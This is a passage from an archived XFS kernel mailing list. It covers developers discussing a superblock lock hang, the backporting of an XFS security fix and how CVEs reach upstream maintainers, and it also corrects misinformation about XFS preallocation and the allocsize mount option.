[] __down_common+0xa0/0xf0 > [] ? xfs_getsb+0x3c/0x70 [xfs] > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x44/0x110 [xfs] > [] xfs_getsb+0x3c/0x70 [xfs] > [] xfs_trans_getsb+0x4c/0x140 [xfs] > [] xfs_mod_sb+0x4e/0xc0 [xfs] > [] xfs_fs_log_dummy+0x54/0x90 [xfs] > [] xfs_log_worker+0x48/0x50 [xfs] > [] process_one_work+0x141/0x4a0 > [] worker_thread+0x168/0x410 > [] ? manage_workers+0x120/0x120 > [] kthread+0xc0/0xd0 > [] ? acpi_get_child+0x47/0x4d > [] ? acpi_platform_notify.part.0+0xbb/0xda > [] ? flush_kthread_worker+0xb0/0xb0 > [] ret_from_fork+0x7c/0xb0 > [] ? flush_kthread_worker+0xb0/0xb0 And that's blocked on the superblock buffer because it hasn't been unlocked due to the failing write not completing. I'll have a think about how to fix it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 10 19:03:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8AB4D7FC1 for ; Tue, 10 Dec 2013 19:03:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68E108F8054 for ; Tue, 10 Dec 2013 17:03:33 -0800 (PST) X-ASG-Debug-ID: 1386723811-04cb6c537b68c0e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Gmon78B5ictrs9uA for ; Tue, 10 Dec 2013 17:03:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskVAJu4p1J5LHyk/2dsb2JhbABZgwc4gwChcAOPMoVPgR8XdIIlAQEEATocIwULCAMOCgkDIg8FJQMhE4d8BQ7BNxcWjm8HgyGBEwSYE4ExkGODPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 11:33:30 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqYD1-0005Vh-1A; Wed, 11 Dec 2013 12:03:27 +1100 Date: Wed, 11 Dec 2013 12:03:27 +1100 From: Dave Chinner To: Josh Boyer Cc: Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131211010326.GF10988@dastard> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386723811 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143001 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 08:20:07AM -0500, Josh Boyer wrote: > On Mon, Dec 9, 2013 at 6:55 PM, Dave Chinner > wrote: > > [cc xfs list, cc stable@vger.kernel.org] > > > > On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: > >> On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques > >> wrote: > >> > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > >> >> Hi, > >> >> > >> >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c > >> >> ("xfs: add capability check to free eofblocks ioctl") is a > >> >> security fix that was never sent to -stable? From what I can > >> >> see, it was introduced in 3.8 by > >> >> 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > >> >> XFS_IOC_FREE_EOFBLOCKS ioctl"). > >> >> > >> >> I don't see this in the 3.8.y tree. Should it be added there > >> >> and newer? > >> > > >> > Thanks Kees, I'm queuing it for the 3.11 kernel. > >> > >> There's also this one: > >> > >> http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 > >> > >> It fixes CVE-2013-6382 > > > > First I've heard about it there being a CVE for that bug. Since > > when has it been considered best practice to publish CVEs > > without first (or ever) directly contacting the relevant > > upstream developers? > > We got a Fedora bug for it, and there are similar RHEL bugs open. > I had assumed you would be informed either via upstream or > through those. I've not been cc'd on any of those bugs internally at RH, so I don't have visibility of the problems unless someone specifically adds me to those bugs. As it is, raising fedora/RHEL bugs is not informing upstream - it is a distro process for tracking the distro issue through to closure. > The CVE request was submitted by Kees here: > http://seclists.org/oss-sec/2013/q4/330 Ugh, no, I'm not going to subscribe to a high noise list where the only way I might be informed of a CVE being raised is by following links to git commit IDs.... Upstream is not magically informed about CVEs, and relying on upstream developers to scan or poll *anything* just to find if a CVE on their subsystem has been released is not reliable and does not scale. If anyone raises a CVE against a kernel subsystem, then the relevant list in the MAINTAINERS file for that subsystem should be on the cc list of any discussion about the CVE, and on the announcement of the CVE. Security processes are not something that should be hidden away in it's own private corner - if there's a problem upstream needs to take action on, then direct contact with upstream is necessary. We need to know about security issues - even ones that are classified post-commit as security issues - so we are operating with full knowledge of the issues in our code and the impact of our fixes.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jwboyer@gmail.com Tue Dec 10 19:10:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E8B87FC4 for ; Tue, 10 Dec 2013 19:10:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2794A8F8064 for ; Tue, 10 Dec 2013 17:10:54 -0800 (PST) X-ASG-Debug-ID: 1386724252-04bdf01323199990001-NocioJ Received: from mail-oa0-f54.google.com (mail-oa0-f54.google.com [209.85.219.54]) by cuda.sgi.com with ESMTP id cgTB5fV4IxxDm7tU (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 17:10:52 -0800 (PST) X-Barracuda-Envelope-From: jwboyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] Received: by mail-oa0-f54.google.com with SMTP id h16so6498584oag.41 for ; Tue, 10 Dec 2013 17:10:52 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Oz4yr/sVBQv31edpF51YO7OsVTlJOdEQBC+QvvnG55I=; b=CzlsjBsXibIq8LHrcby9oiJ5cprD4qHSbs3qoHWpor+ZOTtGkLdkhVOCarhSn1H+zP YiAoSzQfpdxz49xeRf55GPUlIxWqIL41qRp+n6Cns0itJ1UNr4w0UAuvBr7t8fCXb2Cp obhkVZAo7uW/n3DE6vJTvWMwOgtVeWDyACb4Ut0zSFwV/c+EWZTLGr28AknJbjXdBBrU pW+o6heUTbaEzKAucwoJ4t+VHXpd5GLfJUPPJl5PYWeHmRZBnwm928QIApxmmWX/VjWh ff8ajF6Aws+weG07PBChg+Vz7Uo6q+LyNEir+rRcyAcGL2E8jsWzAO+QUyn9i+S3/i83 wzew== MIME-Version: 1.0 X-Received: by 10.60.59.5 with SMTP id v5mr19238956oeq.30.1386724251978; Tue, 10 Dec 2013 17:10:51 -0800 (PST) Sender: jwboyer@gmail.com Received: by 10.76.104.107 with HTTP; Tue, 10 Dec 2013 17:10:51 -0800 (PST) In-Reply-To: <20131211010326.GF10988@dastard> References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> Date: Tue, 10 Dec 2013 20:10:51 -0500 X-Google-Sender-Auth: cjExY568jQRrOXICAQGEYhsQcdQ Message-ID: Subject: Re: XFS security fix never sent to -stable? From: Josh Boyer X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? To: Dave Chinner Cc: Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f54.google.com[209.85.219.54] X-Barracuda-Start-Time: 1386724252 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143001 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Dec 10, 2013 at 8:03 PM, Dave Chinner wrote: > On Tue, Dec 10, 2013 at 08:20:07AM -0500, Josh Boyer wrote: >> On Mon, Dec 9, 2013 at 6:55 PM, Dave Chinner >> wrote: >> > [cc xfs list, cc stable@vger.kernel.org] >> > >> > On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: >> >> On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques >> >> wrote: >> >> > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: >> >> >> Hi, >> >> >> >> >> >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c >> >> >> ("xfs: add capability check to free eofblocks ioctl") is a >> >> >> security fix that was never sent to -stable? From what I can >> >> >> see, it was introduced in 3.8 by >> >> >> 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add >> >> >> XFS_IOC_FREE_EOFBLOCKS ioctl"). >> >> >> >> >> >> I don't see this in the 3.8.y tree. Should it be added there >> >> >> and newer? >> >> > >> >> > Thanks Kees, I'm queuing it for the 3.11 kernel. >> >> >> >> There's also this one: >> >> >> >> http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 >> >> >> >> It fixes CVE-2013-6382 >> > >> > First I've heard about it there being a CVE for that bug. Since >> > when has it been considered best practice to publish CVEs >> > without first (or ever) directly contacting the relevant >> > upstream developers? >> >> We got a Fedora bug for it, and there are similar RHEL bugs open. >> I had assumed you would be informed either via upstream or >> through those. > > I've not been cc'd on any of those bugs internally at RH, so I don't > have visibility of the problems unless someone specifically adds me > to those bugs. As it is, raising fedora/RHEL bugs is not informing > upstream - it is a distro process for tracking the distro issue > through to closure. Agreed. We should probably fix the bug thing anyway though. >> The CVE request was submitted by Kees here: >> http://seclists.org/oss-sec/2013/q4/330 > > Ugh, no, I'm not going to subscribe to a high noise list where the > only way I might be informed of a CVE being raised is by following > links to git commit IDs.... > > Upstream is not magically informed about CVEs, and relying on > upstream developers to scan or poll *anything* just to find if a > CVE on their subsystem has been released is not reliable and > does not scale. If anyone raises a CVE against a kernel subsystem, > then the relevant list in the MAINTAINERS file for that subsystem > should be on the cc list of any discussion about the CVE, and on the > announcement of the CVE. > > Security processes are not something that should be hidden away in > it's own private corner - if there's a problem upstream needs to > take action on, then direct contact with upstream is necessary. We > need to know about security issues - even ones that are classified > post-commit as security issues - so we are operating with full > knowledge of the issues in our code and the impact of our fixes.... Agreed. I'm going to interpret your comments at being directed to the general audience because otherwise you're just shooting the messenger :). josh From david@fromorbit.com Tue Dec 10 19:46:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 73DDB7FA3 for ; Tue, 10 Dec 2013 19:46:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 018ADAC011 for ; Tue, 10 Dec 2013 17:46:48 -0800 (PST) X-ASG-Debug-ID: 1386726403-04cbb04169695d70001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id D0gjhEE90rxtuvE6 for ; Tue, 10 Dec 2013 17:46:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskVAGrDp1J5LHyk/2dsb2JhbABZgwc4gwChcAOPMoVPgR8XdIIlAQEEATocIwUHBAgDGAklDwUlAyETh3wFDsE2FxaOBB1OB4Q0BJgTgTGQY4M9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 12:16:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqYso-0005fQ-OL; Wed, 11 Dec 2013 12:46:38 +1100 Date: Wed, 11 Dec 2013 12:46:38 +1100 From: Dave Chinner To: LA Walsh Cc: xfs-oss Subject: Re: Q: about xfs pre-allocation Message-ID: <20131211014638.GG10988@dastard> X-ASG-Orig-Subj: Re: Q: about xfs pre-allocation References: <52A75820.9090004@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A75820.9090004@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386726403 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143001 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 10:06:24AM -0800, LA Walsh wrote: > > Could someone comment on my [mis-]understanding in regards to > what the note below said that was posted by someone else > to another list. The pre-allocation behavior for XFS that the > note describes doesn't jive w/what I thought happened and I > was wondering if my brain was out of date or something (at > least in regards to this topic! ;-)). Names elided from > Original Message, below for no great reason... It's mostly wrong information. Just a suggestion: take anything advice given about XFS on lists other than this one with a grain of salt. There's lots of people out there who *think* they know how XFS works, but there's very few who actually know how XFS works. > I thought file space pre-allocation ended when you closed the file?? In some cases, yes. In others, no. it depends on the workload and what is optimal for minimising fragmentation for that workload. If it wasn't removed, then oncthe file has been clean for 5 minutes it gets removed by a background worker. > But this note from the open-suse list indicates that, at least > with ext2, a kernel thread removes this later. ext2 does not use tail preallocationm, background kernel threads or workqueues to do stuff in the background anymore. It uses reservation windows to keep concurrent allocations apart. i.e. it now uses the algorithm that the link talks about being designed for ext3. :P > I thought the FS-space allocator gave *preference* to having the > next file start at least "filesize%('allocsize || 64K')" from > the end of the previous, BUT, if needed it will allocate space > from the end of the previous file (rounded to fs-blocksize) if > space is really that tight. It depends on the context. delayed allocation is where XFS does all this stuff, and it is quite complex to get it to behave in a sane manner. > -------- Original Message -------- > > FFFF, > > Modern filesystems use preallocation. > > Per ext2 > already had it by 2005. Irix used tail preallocation like ext2 did with EFS back in the late 1980s. XFS improved on it in the 90s via delayed allocation, before ext2 was even conceived. So using ext2 as an example of a filesystem using tail preallaction when talking about what XFS does today is kinda funny.... :P > With XFS you can disable pre-allocation via the allocsize mount > parameter. Wrong. It only allows you to fix the pre-allocation size - it cannot be turned off. > (That parameter has been around many years. so yes 11.4 > has preallocation for XFS at a minimum and ext3/ext4 I think.) It's probably been around longer than ext2.... > allocsize=size > > Sets the buffered I/O end-of-file preallocation size when doing > delayed allocation writeout (default size is 64KiB). Wrong. The default behaviour is dynamic preallocation. > Valid values for > this option are page size (typically 4KiB) through to 1GiB, inclusive, > in power-of-2 increments. > > size = 0 disables preallocation and is probably smart on your > distination backup disk. No it doesn't - it's invalid. # mount -o allocsize=0 /dev/vda /mnt/test mount: wrong fs type, bad option, bad superblock on /dev/vda, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so # dmesg |tail -3 [23843.767642] XFS (vda): Mounting Filesystem [23843.835922] XFS (vda): Ending clean mount [95648.513436] XFS (vda): invalid log iosize: 255 [not 12-30] # Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Tue Dec 10 19:49:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96E637FA3 for ; Tue, 10 Dec 2013 19:49:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 58F0C8F8049 for ; Tue, 10 Dec 2013 17:49:27 -0800 (PST) X-ASG-Debug-ID: 1386726566-04bdf0132319abf0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id G4Kvxj7sjxBGj3Ck for ; Tue, 10 Dec 2013 17:49:26 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBB1nP0R013106 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 10 Dec 2013 20:49:25 -0500 Received: from laptop.bfoster (vpn-58-206.rdu2.redhat.com [10.10.58.206]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBB1nOC7016435 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 20:49:25 -0500 Message-ID: <52A7C4A4.1020108@redhat.com> Date: Tue, 10 Dec 2013 20:49:24 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: LA Walsh , xfs-oss Subject: Re: Q: about xfs pre-allocation References: <52A75820.9090004@tlinx.org> X-ASG-Orig-Subj: Re: Q: about xfs pre-allocation In-Reply-To: <52A75820.9090004@tlinx.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386726566 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/10/2013 01:06 PM, LA Walsh wrote: > > Could someone comment on my [mis-]understanding in regards to > what the note below said that was posted by someone else > to another list. The pre-allocation behavior for XFS that the > note describes doesn't jive w/what I thought happened and I > was wondering if my brain was out of date or something (at > least in regards to this topic! ;-)). Names elided from > Original Message, below for no great reason... > > I thought file space pre-allocation ended when you closed the file?? > XFS normally frees post-eof preallocation on close, but there is the possibility for the preallocated space to hang around longer if a file is opened, written and closed repeatedly. You could observe this by repeatedly doing an open/write/close cycle on a file with xfs_io. After a few cycles, you'll see the blocks allocated to the file exceed the size of the file. > But this note from the open-suse list indicates that, at least > with ext2, a kernel thread removes this later. > I thought the FS-space allocator gave *preference* to having the > next file start at least "filesize%('allocsize || 64K')" from > the end of the previous, BUT, if needed it will allocate space > from the end of the previous file (rounded to fs-blocksize) if > space is really that tight. > XFS has a background scanning thread for this purpose as of 3.8. It runs on a 5 minute interval by default and trims the speculative preallocation from inodes that haven't been written to recently. Brian > > -------- Original Message -------- > > FFFF, > > Modern filesystems use preallocation. > > Per ext2 > already had it by 2005. > > That means when a file is created and written to they automatically > allocate a unused tail at the end of each file. > > Then some time later (hours / days) they have a background kernel > thread that scavenges any tails that are still unused. > > The positive is that files (like logs) growing slowly over time won't > get fragmented so badly. > > The bad is that for highspeed filesystem filling tasks like a massive > rsync, the disk usage is anomalously high for a while (hours / days). > > With XFS you can disable pre-allocation via the allocsize mount > parameter. (That parameter has been around many years. so yes 11.4 > has preallocation for XFS at a minimum and ext3/ext4 I think.) > > allocsize=size > > Sets the buffered I/O end-of-file preallocation size when doing > delayed allocation writeout (default size is 64KiB). Valid values for > this option are page size (typically 4KiB) through to 1GiB, inclusive, > in power-of-2 increments. > > size = 0 disables preallocation and is probably smart on your > distination backup disk. > > I assume other filesystems have a way to disable preallocation as well. > > FYI: I don't know how to determine the total amount of preallocation > space on a filesystem. I'm sure it can be done somehow. > > gggg > ---- > > To unsubscribe, e-mail: opensuse+unsubscribe@opensuse.org > To contact the owner, e-mail: opensuse+owner@opensuse.org > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Tue Dec 10 20:00:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B0CA27FC4 for ; Tue, 10 Dec 2013 20:00:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 988138F8049 for ; Tue, 10 Dec 2013 18:00:24 -0800 (PST) X-ASG-Debug-ID: 1386727222-04cb6c537c68d9f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id b2JnNChDMBa8uJkF for ; Tue, 10 Dec 2013 18:00:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8IAOfGp1J5LHyk/2dsb2JhbABZgweDOLElhU+BHxd0giUBAQU6HBcMEAgDDgoJJQ8FJQMhE4gBwUsXFo5vB4Q0BJgTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 12:30:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqZ5r-0005hO-PG; Wed, 11 Dec 2013 13:00:07 +1100 Date: Wed, 11 Dec 2013 13:00:07 +1100 From: Dave Chinner To: Josh Boyer Cc: Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131211020007.GH10988@dastard> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386727222 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 08:10:51PM -0500, Josh Boyer wrote: > On Tue, Dec 10, 2013 at 8:03 PM, Dave Chinner wrote: > > Security processes are not something that should be hidden away in > > it's own private corner - if there's a problem upstream needs to > > take action on, then direct contact with upstream is necessary. We > > need to know about security issues - even ones that are classified > > post-commit as security issues - so we are operating with full > > knowledge of the issues in our code and the impact of our fixes.... > > Agreed. I'm going to interpret your comments at being directed to the > general audience because otherwise you're just shooting the messenger > :). Right, they are not aimed at you - they are aimed at those on the security side of the fence. I'm tired of learning about CVEs in XFS code through chinese whispers and/or luck. Cheers, Dave. -- Dave Chinner david@fromorbit.com From gregkh@linuxfoundation.org Tue Dec 10 20:10:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 808177FCB for ; Tue, 10 Dec 2013 20:10:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 595348F804C for ; Tue, 10 Dec 2013 18:10:46 -0800 (PST) X-ASG-Debug-ID: 1386727844-04cbb041696967c0001-NocioJ Received: from mail.linuxfoundation.org (mail.linuxfoundation.org [140.211.169.12]) by cuda.sgi.com with ESMTP id aKwq4vzUG0TyyIxf for ; Tue, 10 Dec 2013 18:10:45 -0800 (PST) X-Barracuda-Envelope-From: gregkh@linuxfoundation.org X-Barracuda-Apparent-Source-IP: 140.211.169.12 Received: from localhost (unknown [166.170.57.77]) by mail.linuxfoundation.org (Postfix) with ESMTPSA id 72936273; Wed, 11 Dec 2013 02:10:42 +0000 (UTC) Date: Tue, 10 Dec 2013 18:12:13 -0800 From: Greg KH To: Dave Chinner Cc: Josh Boyer , Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , xfs@oss.sgi.com, "stable@vger.kernel.org" Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131211021213.GA18168@kroah.com> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> <20131211020007.GH10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211020007.GH10988@dastard> User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: mail.linuxfoundation.org[140.211.169.12] X-Barracuda-Start-Time: 1386727845 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 01:00:07PM +1100, Dave Chinner wrote: > On Tue, Dec 10, 2013 at 08:10:51PM -0500, Josh Boyer wrote: > > On Tue, Dec 10, 2013 at 8:03 PM, Dave Chinner wrote: > > > Security processes are not something that should be hidden away in > > > it's own private corner - if there's a problem upstream needs to > > > take action on, then direct contact with upstream is necessary. We > > > need to know about security issues - even ones that are classified > > > post-commit as security issues - so we are operating with full > > > knowledge of the issues in our code and the impact of our fixes.... > > 